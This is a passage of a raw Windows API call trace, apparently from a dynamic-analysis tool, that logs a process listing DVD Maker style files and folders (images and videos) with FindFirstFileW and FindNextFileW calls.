ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.205] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.205] ResetEvent (hEvent=0x118) returned 1 [0242.206] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.208] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.209] ResetEvent (hEvent=0x118) returned 1 [0242.209] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.397] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.397] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.398] ResetEvent (hEvent=0x118) returned 1 [0242.398] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.404] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0242.404] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0242.405] ResetEvent (hEvent=0x118) returned 1 [0242.405] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.413] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0242.413] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0242.416] GetProcessHeap () returned 0x560000 [0242.416] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0242.416] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.416] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0242.416] ResetEvent (hEvent=0x118) returned 1 [0242.417] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.420] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0242.420] ResetEvent (hEvent=0x118) returned 1 [0242.420] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.518] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0242.519] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0242.519] GetProcessHeap () returned 0x560000 [0242.519] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0242.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0242.522] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.522] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0242.522] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0242.522] ResetEvent (hEvent=0x118) returned 1 [0242.523] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.526] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.527] ResetEvent (hEvent=0x118) returned 1 [0242.527] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.530] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.531] ResetEvent (hEvent=0x118) returned 1 [0242.531] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.538] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.539] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.539] ResetEvent (hEvent=0x118) returned 1 [0242.539] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.547] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.547] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0242.547] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0242.548] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0242.550] GetProcessHeap () returned 0x560000 [0242.550] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0242.550] GetProcessHeap () returned 0x560000 [0242.550] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0242.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0242.553] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.553] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0242.553] ResetEvent (hEvent=0x118) returned 1 [0242.553] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.560] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0242.560] ResetEvent (hEvent=0x118) returned 1 [0242.560] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.568] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.568] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.568] ResetEvent (hEvent=0x118) returned 1 [0242.568] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.571] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.571] ResetEvent (hEvent=0x118) returned 1 [0242.571] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.846] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.846] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.846] ResetEvent (hEvent=0x118) returned 1 [0242.846] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.863] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.864] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0242.864] ResetEvent (hEvent=0x118) returned 1 [0242.864] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.869] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0242.873] ResetEvent (hEvent=0x118) returned 1 [0242.873] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.878] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.878] ResetEvent (hEvent=0x118) returned 1 [0242.878] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.883] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.883] ResetEvent (hEvent=0x118) returned 1 [0242.883] 